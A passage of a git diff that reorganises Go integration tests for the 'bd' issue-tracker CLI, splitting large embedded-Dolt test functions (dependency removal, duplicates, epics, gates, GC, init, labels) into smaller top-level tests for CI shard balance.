bdCreate(t, bd, dir, "Rm A", "--type", "task") - r2 := bdCreate(t, bd, dir, "Rm B", "--type", "task") - bdDep(t, bd, dir, "add", r1.ID, r2.ID) - out := bdDep(t, bd, dir, "rm", r1.ID, r2.ID) - if !strings.Contains(out, "Removed") { - t.Errorf("expected 'Removed' via rm alias: %s", out) - } - }) - - t.Run("remove_json_output", func(t *testing.T) { - r1 := bdCreate(t, bd, dir, "RmJSON A", "--type", "task") - r2 := bdCreate(t, bd, dir, "RmJSON B", "--type", "task") - bdDep(t, bd, dir, "add", r1.ID, r2.ID) - m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) - if m["status"] != "removed" { - t.Errorf("expected status=removed, got %v", m["status"]) - } - if m["removed"] != true { - t.Errorf("expected removed=true, got %v", m["removed"]) - } - }) - - t.Run("remove_missing_edge_reports_noop", func(t *testing.T) { - r1 := bdCreate(t, bd, dir, "Missing edge A", "--type", "task") - r2 := bdCreate(t, bd, dir, "Missing edge B", "--type", "task") - out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) - if !strings.Contains(out, "No dependency found") || strings.Contains(out, "✓") { - t.Errorf("missing edge should report a no-op, got: %s", out) - } - m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) - if m["status"] != "not_found" || m["removed"] != false { - t.Errorf("missing edge JSON = %v, want status=not_found removed=false", m) - } - }) - // ===== dep tree ===== t.Run("tree_basic", func(t *testing.T) { @@ -433,6 +406,85 @@ func TestEmbeddedDepB(t *testing.T) { } }) + // ===== dep cycles ===== + + t.Run("cycles_detect", func(t *testing.T) { + // We created a cycle earlier (cyA <-> cyB) + out := bdDep(t, bd, dir, "cycles") + // Should report at least one cycle + if !strings.Contains(out, "cycle") && !strings.Contains(out, "Cycle") && !strings.Contains(out, "No cycles") { + t.Errorf("expected cycle info in output: %s", out) + } + }) +} + +func TestEmbeddedDepBRemove(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") + + // ===== dep remove ===== + + t.Run("remove_basic", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "Remove A", "--type", "task") + r2 := bdCreate(t, bd, dir, "Remove B", "--type", "task") + bdDep(t, bd, dir, "add", r1.ID, r2.ID) + out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) + if !strings.Contains(out, "Removed") { + t.Errorf("expected 'Removed' in output: %s", out) + } + }) + + t.Run("remove_rm_alias", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "Rm A", "--type", "task") + r2 := bdCreate(t, bd, dir, "Rm B", "--type", "task") + bdDep(t, bd, dir, "add", r1.ID, r2.ID) + out := bdDep(t, bd, dir, "rm", r1.ID, r2.ID) + if !strings.Contains(out, "Removed") { + t.Errorf("expected 'Removed' via rm alias: %s", out) + } + }) +} + +func TestEmbeddedDepBRemoveOutputAndRelatesTo(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") + + t.Run("remove_json_output", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "RmJSON A", "--type", "task") + r2 := bdCreate(t, bd, dir, "RmJSON B", "--type", "task") + bdDep(t, bd, dir, "add", r1.ID, r2.ID) + m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) + if m["status"] != "removed" { + t.Errorf("expected status=removed, got %v", m["status"]) + } + if m["removed"] != true { + t.Errorf("expected removed=true, got %v", m["removed"]) + } + }) + + t.Run("remove_missing_edge_reports_noop", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "Missing edge A", "--type", "task") + r2 := bdCreate(t, bd, dir, "Missing edge B", "--type", "task") + out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) + if !strings.Contains(out, "No dependency found") || strings.Contains(out, "✓") { + t.Errorf("missing edge should report a no-op, got: %s", out) + } + m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) + if m["status"] != "not_found" || m["removed"] != false { + t.Errorf("missing edge JSON = %v, want status=not_found removed=false", m) + } + }) + t.Run("tree_ignores_bidirectional_relates_to", func(t *testing.T) { root := bdCreate(t, bd, dir, "Tree relates root", "--type", "task") blocker := bdCreate(t, bd, dir, "Tree real blocker", "--type", "task") @@ -461,17 +513,6 @@ func TestEmbeddedDepB(t *testing.T) { } }) - // ===== dep cycles ===== - - t.Run("cycles_detect", func(t *testing.T) { - // We created a cycle earlier (cyA <-> cyB) - out := bdDep(t, bd, dir, "cycles") - // Should report at least one cycle - if !strings.Contains(out, "cycle") && !strings.Contains(out, "Cycle") && !strings.Contains(out, "No cycles") { - t.Errorf("expected cycle info in output: %s", out) - } - }) - t.Run("cycles_no_cycles", func(t *testing.T) { // Fresh init with no cycles dir2, _, _ := bdInit(t, bd, "--prefix", "dp2") diff --git a/cmd/bd/duplicates_embedded_test.go b/cmd/bd/duplicates_embedded_test.go index d3275231a..aaf941f82 100644 --- a/cmd/bd/duplicates_embedded_test.go +++ b/cmd/bd/duplicates_embedded_test.go @@ -49,7 +49,7 @@ func bdDuplicatesJSON(t *testing.T, bd, dir string, args ...string) map[string]i return m } -func TestEmbeddedDuplicates(t *testing.T) { +func TestEmbeddedDuplicatesSharedFixture(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -76,6 +76,49 @@ func TestEmbeddedDuplicates(t *testing.T) { } }) + // ===== JSON output ===== + + t.Run("json_output_structure", func(t *testing.T) { + m := bdDuplicatesJSON(t, bd, dir) + if _, ok := m["duplicate_groups"]; !ok { + t.Error("expected 'duplicate_groups' key") + } + if _, ok := m["groups"]; !ok { + t.Error("expected 'groups' key") + } + }) + + // ===== Dry run ===== + + t.Run("dry_run", func(t *testing.T) { + m := bdDuplicatesJSON(t, bd, dir, "--dry-run") + if _, ok := m["merge_commands"]; !ok { + t.Error("expected 'merge_commands' key with --dry-run") + } + // Dry run should NOT have merge_results + if _, ok := m["merge_results"]; ok { + t.Error("dry run should not have merge_results") + } + }) + + // ===== Human-readable output ===== + + t.Run("human_readable", func(t *testing.T) { + out := bdDuplicates(t, bd, dir) + if !strings.Contains(out, "duplicate") && !strings.Contains(out, "Duplicate") && !strings.Contains(out, "No duplicates") { + t.Errorf("expected duplicate info in output: %s", out) + } + }) +} + +func TestEmbeddedDuplicatesOwnWorkspaces(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + // ===== No duplicates when all unique ===== t.Run("no_duplicates", func(t *testing.T) { @@ -89,18 +132,6 @@ func TestEmbeddedDuplicates(t *testing.T) { } }) - // ===== JSON output ===== - - t.Run("json_output_structure", func(t *testing.T) { - m := bdDuplicatesJSON(t, bd, dir) - if _, ok := m["duplicate_groups"]; !ok { - t.Error("expected 'duplicate_groups' key") - } - if _, ok := m["groups"]; !ok { - t.Error("expected 'groups' key") - } - }) - // ===== Auto-merge ===== t.Run("auto_merge", func(t *testing.T) { @@ -142,19 +173,6 @@ func TestEmbeddedDuplicates(t *testing.T) { } }) - // ===== Dry run ===== - - t.Run("dry_run", func(t *testing.T) { - m := bdDuplicatesJSON(t, bd, dir, "--dry-run") - if _, ok := m["merge_commands"]; !ok { - t.Error("expected 'merge_commands' key with --dry-run") - } - // Dry run should NOT have merge_results - if _, ok := m["merge_results"]; ok { - t.Error("dry run should not have merge_results") - } - }) - // ===== Excludes closed issues ===== t.Run("excludes_closed", func(t *testing.T) { @@ -170,15 +188,6 @@ func TestEmbeddedDuplicates(t *testing.T) { t.Log("mixed open/closed duplicates detected — expected 0 groups due to status mismatch") } }) - - // ===== Human-readable output ===== - - t.Run("human_readable", func(t *testing.T) { - out := bdDuplicates(t, bd, dir) - if !strings.Contains(out, "duplicate") && !strings.Contains(out, "Duplicate") && !strings.Contains(out, "No duplicates") { - t.Errorf("expected duplicate info in output: %s", out) - } - }) } // TestEmbeddedDuplicatesConcurrent exercises duplicates operations concurrently. diff --git a/cmd/bd/epic_embedded_test.go b/cmd/bd/epic_embedded_test.go index b2e064d7f..e1eb91403 100644 --- a/cmd/bd/epic_embedded_test.go +++ b/cmd/bd/epic_embedded_test.go @@ -119,12 +119,15 @@ func TestEmbeddedEpicStatus(t *testing.T) { }) } -// TestEmbeddedEpicCloseEligible was split from TestEmbeddedEpic (originally +// TestEmbeddedEpicCloseEligible* was split from TestEmbeddedEpic (originally // ~362s, measured under --config=embedded) into 3 top-level tests over // disjoint subtest groups, for CI shard balance (see // scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedEpicCloseEligible(t *testing.T) { +// subtest is preserved exactly once. It is split again in two: +// TestEmbeddedEpicCloseEligibleNotEligible keeps the shared not-eligible epic +// fixture and the two subtests that read it, and +// TestEmbeddedEpicCloseEligibleClosesEpics the two that build their own. +func TestEmbeddedEpicCloseEligibleNotEligible(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -156,6 +159,23 @@ func TestEmbeddedEpicCloseEligible(t *testing.T) { } }) + t.Run("close_eligible_none", func(t *testing.T) { + // epic1 has open children — should not be closeable + out := bdEpic(t, bd, dir, "close-eligible") + if strings.Contains(out, epic1.ID) { + t.Errorf("epic1 should not be closed: %s", out) + } + }) +} + +func TestEmbeddedEpicCloseEligibleClosesEpics(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + t.Run("close_eligible_closes_epics", func(t *testing.T) { dir3, _, _ := bdInit(t, bd, "--prefix", "ep3") e := bdCreate(t, bd, dir3, "Close me epic", "--type", "epic") @@ -202,14 +222,6 @@ func TestEmbeddedEpicCloseEligible(t *testing.T) { t.Fatalf("no JSON: %s", s) } }) - - t.Run("close_eligible_none", func(t *testing.T) { - // epic1 has open children — should not be closeable - out := bdEpic(t, bd, dir, "close-eligible") - if strings.Contains(out, epic1.ID) { - t.Errorf("epic1 should not be closed: %s", out) - } - }) } // TestEmbeddedEpicCloseEligibleReason was split from TestEmbeddedEpic diff --git a/cmd/bd/gate_embedded_test.go b/cmd/bd/gate_embedded_test.go index 04c93963c..d2c8030a8 100644 --- a/cmd/bd/gate_embedded_test.go +++ b/cmd/bd/gate_embedded_test.go @@ -97,11 +97,10 @@ func createBeadGate(t *testing.T, bd, dir, awaitID string) *types.Issue { return &gate } -func TestEmbeddedGate(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() +// setupEmbeddedGate is the TestEmbeddedGate* tests' workspace: prefix tg, +// with "gate" registered as a custom type. +func setupEmbeddedGate(t *testing.T) (string, string) { + t.Helper() bd := buildEmbeddedBD(t) dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tg") @@ -112,6 +111,16 @@ func TestEmbeddedGate(t *testing.T) { t.Fatalf("SetConfig types.custom: %v", err) } store.Close() + return bd, dir +} + +func TestEmbeddedGateList(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGate(t) // ===== Gate List ===== @@ -173,6 +182,15 @@ func TestEmbeddedGate(t *testing.T) { t.Errorf("expected at most 1 result with --limit 1, got %d", len(results)) } }) +} + +func TestEmbeddedGateShowResolve(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGate(t) // ===== Gate Show ===== @@ -233,6 +251,15 @@ func TestEmbeddedGate(t *testing.T) { task := bdCreate(t, bd, dir, "Not a gate resolve", "--type", "task") bdGateFail(t, bd, dir, "resolve", task.ID) }) +} + +func TestEmbeddedGateWaiterCheckLifecycle(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGate(t) // ===== Gate Add-Waiter ===== @@ -375,12 +402,11 @@ func TestEmbeddedGate(t *testing.T) { }) } -// TestEmbeddedGateCreate exercises the "bd gate create" subcommand. -func TestEmbeddedGateCreate(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() +// setupEmbeddedGateCreate is the shared workspace of the +// TestEmbeddedGateCreate* tests ("bd gate create"): prefix gc, with "gate" +// registered as a custom type so bd gate create works. +func setupEmbeddedGateCreate(t *testing.T) (string, string) { + t.Helper() bd := buildEmbeddedBD(t) dir, beadsDir, _ := bdInit(t, bd, "--prefix", "gc") @@ -391,6 +417,16 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Fatalf("SetConfig types.custom: %v", err) } store.Close() + return bd, dir +} + +func TestEmbeddedGateCreateFlags(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGateCreate(t) t.Run("create_default_human_gate", func(t *testing.T) { task := bdCreate(t, bd, dir, "Task for human gate", "--type", "task") @@ -492,6 +528,15 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("expected title 'Gate: gh:pr 42', got %s", gate.Title) } }) +} + +func TestEmbeddedGateCreateRepoErrorsList(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGateCreate(t) t.Run("create_gate_with_repo", func(t *testing.T) { task := bdCreate(t, bd, dir, "Task for cross-repo PR gate", "--type", "task") @@ -536,6 +581,48 @@ func TestEmbeddedGateCreate(t *testing.T) { } }) + t.Run("create_gate_missing_blocks_flag", func(t *testing.T) { + out := bdGateFail(t, bd, dir, "create") + if !strings.Contains(out, "blocks") { + t.Errorf("expected error about missing --blocks flag: %s", out) + } + }) + + t.Run("create_gate_nonexistent_target", func(t *testing.T) { + out := bdGateFail(t, bd, dir, "create", "--blocks", "gc-nonexistent999") + if !strings.Contains(out, "not found") { + t.Errorf("expected 'not found' error: %s", out) + } + }) + + t.Run("create_gate_appears_in_gate_list", func(t *testing.T) { + task := bdCreate(t, bd, dir, "Task for list check", "--type", "task") + bdGate(t, bd, dir, "create", "--blocks", task.ID) + + results := bdGateListJSON(t, bd, dir) + found := false + for _, r := range results { + if awaitType, ok := r["await_type"]; ok && awaitType == "human" { + if desc, ok := r["description"].(string); ok && strings.Contains(desc, task.ID) { + found = true + break + } + } + } + if !found { + t.Errorf("expected gate blocking %s in gate list", task.ID) + } + }) +} + +func TestEmbeddedGateCreateReady(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + t.Run("create_gate_blocks_ready", func(t *testing.T) { // Use a fresh db so ready output isn't polluted by other subtests freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", "gr") @@ -620,39 +707,15 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("task should reappear in ready after gate resolved: %s", stdout.String()) } }) +} - t.Run("create_gate_missing_blocks_flag", func(t *testing.T) { - out := bdGateFail(t, bd, dir, "create") - if !strings.Contains(out, "blocks") { - t.Errorf("expected error about missing --blocks flag: %s", out) - } - }) +func TestEmbeddedGateCreateBeadCheck(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() - t.Run("create_gate_nonexistent_target", func(t *testing.T) { - out := bdGateFail(t, bd, dir, "create", "--blocks", "gc-nonexistent999") - if !strings.Contains(out, "not found") { - t.Errorf("expected 'not found' error: %s", out) - } - }) - - t.Run("create_gate_appears_in_gate_list", func(t *testing.T) { - task := bdCreate(t, bd, dir, "Task for list check", "--type", "task") - bdGate(t, bd, dir, "create", "--blocks", task.ID) - - results := bdGateListJSON(t, bd, dir) - found := false - for _, r := range results { - if awaitType, ok := r["await_type"]; ok && awaitType == "human" { - if desc, ok := r["description"].(string); ok && strings.Contains(desc, task.ID) { - found = true - break - } - } - } - if !found { - t.Errorf("expected gate blocking %s in gate list", task.ID) - } - }) + bd := buildEmbeddedBD(t) t.Run("check_bead_gate_resolves_only_a_missing_target_it_saw", func(t *testing.T) { // Use a fresh db so the check sees only these bead gates @@ -690,6 +753,15 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("gate on a never-seen await_id: status=%s, want open", got.Status) } }) +} + +func TestEmbeddedGateCreateBeadRename(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("rename_keeps_a_bead_gate_on_its_target", func(t *testing.T) { // Renaming the awaited bead points its gate at the new ID and moves diff --git a/cmd/bd/gc_embedded_test.go b/cmd/bd/gc_embedded_test.go index 26f72588f..7d71e7751 100644 --- a/cmd/bd/gc_embedded_test.go +++ b/cmd/bd/gc_embedded_test.go @@ -39,7 +39,7 @@ func bdGCFail(t *testing.T, bd, dir string, args ...string) string { return string(out) } -func TestEmbeddedGC(t *testing.T) { +func TestEmbeddedGCDryRunAndSkips(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -98,6 +98,22 @@ func TestEmbeddedGC(t *testing.T) { } }) + t.Run("gc_full_dry_run", func(t *testing.T) { + out := bdGC(t, bd, dir, "--full", "--dry-run") + if !strings.Contains(out, "full DOLT_GC()") { + t.Errorf("dry run does not say it would run a full GC: %s", out) + } + }) +} + +func TestEmbeddedGCForceWithDecay(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + // ===== Force with Decay ===== t.Run("gc_force_with_decay", func(t *testing.T) { @@ -125,6 +141,15 @@ func TestEmbeddedGC(t *testing.T) { } } }) +} + +func TestEmbeddedGCFullAndNoForcePrompts(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // ===== Full GC ===== @@ -147,13 +172,6 @@ func TestEmbeddedGC(t *testing.T) { } }) - t.Run("gc_full_dry_run", func(t *testing.T) { - out := bdGC(t, bd, dir, "--full", "--dry-run") - if !strings.Contains(out, "full DOLT_GC()") { - t.Errorf("dry run does not say it would run a full GC: %s", out) - } - }) - // ===== No --force prompts ===== t.Run("gc_no_force_prompts", func(t *testing.T) { diff --git a/cmd/bd/human_embedded_test.go b/cmd/bd/human_embedded_test.go index 51e3b7bc6..204a3cc4a 100644 --- a/cmd/bd/human_embedded_test.go +++ b/cmd/bd/human_embedded_test.go @@ -48,7 +48,7 @@ func humanShowClosed(t *testing.T, bd, dir, id string) *types.Issue { return issue } -func TestEmbeddedHuman(t *testing.T) { +func TestEmbeddedHumanListStatsRespondDismiss(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -127,6 +127,16 @@ func TestEmbeddedHuman(t *testing.T) { t.Errorf("expected dismiss reason %q, got %q", "Dismissed: Not needed", issue2.CloseReason) } }) +} + +func TestEmbeddedHumanPositionalFileAndGuards(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "th") // ===== Respond via positional text and --file ===== diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index 891985cd4..d5c4449b2 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -11,6 +11,7 @@ import ( "os/exec" "path/filepath" "runtime" + "slices" "strings" "sync" "testing" @@ -338,12 +339,12 @@ func requireNoFile(t *testing.T, path string) { } } -// TestEmbeddedInitA, TestEmbeddedInitB, and TestEmbeddedInitC were split from -// TestEmbeddedInit (originally ~356s, measured under --config=embedded) into -// 3 top-level tests over disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedInitA(t *testing.T) { +// The TestEmbeddedInitA*, TestEmbeddedInitB* and TestEmbeddedInitC tests were +// split from TestEmbeddedInit (originally ~356s, measured under +// --config=embedded) into top-level tests over disjoint subtest groups, for CI +// shard balance (see scripts/ci/embedded_cmd_test_durations.json and +// engdocs/TESTING.md). Every original subtest is preserved exactly once. +func TestEmbeddedInitABasic(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } @@ -478,6 +479,15 @@ func TestEmbeddedInitA(t *testing.T) { t.Errorf("issue_prefix: got %q, want %q", val, "alpha") } }) +} + +func TestEmbeddedInitAForkAutoContributor(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("fork_auto_contributor", func(t *testing.T) { dir := t.TempDir() @@ -541,6 +551,15 @@ func TestEmbeddedInitA(t *testing.T) { t.Errorf("beads.role: got %q, want %q", role, "contributor") } }) +} + +func TestEmbeddedInitAGitOriginRemote(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("git_origin_registered_as_dolt_remote", func(t *testing.T) { bareDir := filepath.Join(t.TempDir(), "plain.git") @@ -583,6 +602,15 @@ func TestEmbeddedInitA(t *testing.T) { t.Fatalf("bd dolt push did not publish refs/dolt/data:\n%s", lsOut) } }) +} + +func TestEmbeddedInitAPushConsentAndRemoteBootstrap(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // The #5068 refusal and consent paths, end to end. @@ -768,7 +796,7 @@ func TestEmbeddedInitA(t *testing.T) { }) } -func TestEmbeddedInitB(t *testing.T) { +func TestEmbeddedInitBRemoteSchemaAndCloneFailure(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } @@ -926,6 +954,15 @@ func TestEmbeddedInitB(t *testing.T) { t.Fatalf(".beads/config.yaml should not exist after a failed clone; init must not silently fall through to fresh init") } }) +} + +func TestEmbeddedInitBStealthAndForceReinit(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // Regression: bd init --stealth must not touch any git-visible files. Previously it // created/modified the tracked project-root .gitignore via doctor.EnsureProjectGitignore, which @@ -1090,6 +1127,15 @@ func TestEmbeddedInitB(t *testing.T) { t.Errorf("issue_prefix after --force: got %q, want %q", val, "fi") } }) +} + +func TestEmbeddedInitBAutoCommitAndJSONLRemote(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("auto_commit_bypasses_hooks", func(t *testing.T) { dir := t.TempDir() @@ -1527,7 +1573,17 @@ func TestInitGateBusyClassifiedAsLockContention(t *testing.T) { } } -func TestEmbeddedInitRoleRouting(t *testing.T) { +// The role routing cases are two top-level tests, not one: each case is a +// full embedded init under -race and they cannot run in parallel (t.Setenv). +func TestEmbeddedInitRoleRoutingExplicitDefault(t *testing.T) { + testEmbeddedInitRoleRouting(t, "explicit", "default") +} + +func TestEmbeddedInitRoleRoutingRetainedFork(t *testing.T) { + testEmbeddedInitRoleRouting(t, "retained", "fork") +} + +func testEmbeddedInitRoleRouting(t *testing.T, names ...string) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } @@ -1539,6 +1595,9 @@ func TestEmbeddedInitRoleRouting(t *testing.T) { {"retained", "contributor", "", "contributor"}, {"fork", "", "", "contributor"}, } { + if !slices.Contains(names, tc.name) { + continue + } t.Run(tc.name, func(t *testing.T) { target, decoy, home := newInitRoleFixture(t) if tc.initial != "" { @@ -1606,15 +1665,23 @@ func TestEmbeddedInitRoleRouting(t *testing.T) { } } -// The selected-exclude routing cases are two top-level tests, not one: each +// The selected-exclude routing cases are four top-level tests, not one: each // case is a full embedded init under -race and they cannot run in parallel // (t.Setenv), so one function held a whole Bazel shard for ~2 minutes. -func TestEmbeddedInitSelectedExcludeRoutingStealth(t *testing.T) { - testEmbeddedInitSelectedExcludeRouting(t, "stealth_decoy", "stealth_invalid", "quiet_stealth") +func TestEmbeddedInitSelectedExcludeRoutingStealthInvalid(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "stealth_invalid") } -func TestEmbeddedInitSelectedExcludeRoutingFork(t *testing.T) { - testEmbeddedInitSelectedExcludeRouting(t, "fork_decoy", "fork_invalid", "quiet_fork", "fork_auto_invalid") +func TestEmbeddedInitSelectedExcludeRoutingStealthDecoyQuiet(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "stealth_decoy", "quiet_stealth") +} + +func TestEmbeddedInitSelectedExcludeRoutingForkDecoyAuto(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "fork_decoy", "fork_auto_invalid") +} + +func TestEmbeddedInitSelectedExcludeRoutingForkInvalidQuiet(t *testing.T) { + testEmbeddedInitSelectedExcludeRouting(t, "fork_invalid", "quiet_fork") } func testEmbeddedInitSelectedExcludeRouting(t *testing.T, names ...string) { @@ -1744,12 +1811,27 @@ func TestEmbeddedInitArtifactRouting(t *testing.T) { } } -func TestEmbeddedInitGitBootstrapRouting(t *testing.T) { +// The git bootstrap routing cases are three top-level tests, not one: each +// case is a full embedded init under -race and they cannot run in parallel +// (t.Setenv). +func TestEmbeddedInitGitBootstrapRoutingFreshQuiet(t *testing.T) { + testEmbeddedInitGitBootstrapRouting(t, "fresh", "quiet") +} + +func TestEmbeddedInitGitBootstrapRoutingDecoyInvalid(t *testing.T) { + testEmbeddedInitGitBootstrapRouting(t, "decoy", "invalid") +} + +func TestEmbeddedInitGitBootstrapRoutingExistingExplicit(t *testing.T) { + testEmbeddedInitGitBootstrapRouting(t, "existing_invalid", "explicit_storage") +} + +func testEmbeddedInitGitBootstrapRouting(t *testing.T, names ...string) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } bd := buildEmbeddedBD(t) - for _, name := range []string{"fresh", "decoy", "invalid", "existing_invalid", "explicit_storage", "quiet"} { + for _, name := range names { t.Run(name, func(t *testing.T) { existing, decoy, home := newInitRoleFixture(t) target := t.TempDir() diff --git a/cmd/bd/label_embedded_test.go b/cmd/bd/label_embedded_test.go index e4f1e88a4..e34e6fcfa 100644 --- a/cmd/bd/label_embedded_test.go +++ b/cmd/bd/label_embedded_test.go @@ -125,12 +125,15 @@ func markIssueTemplate(t *testing.T, beadsDir, database, issueID string) { } } -// TestEmbeddedLabelAddRemove was split from TestEmbeddedLabel (originally -// ~360s, measured under --config=embedded) into 3 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func 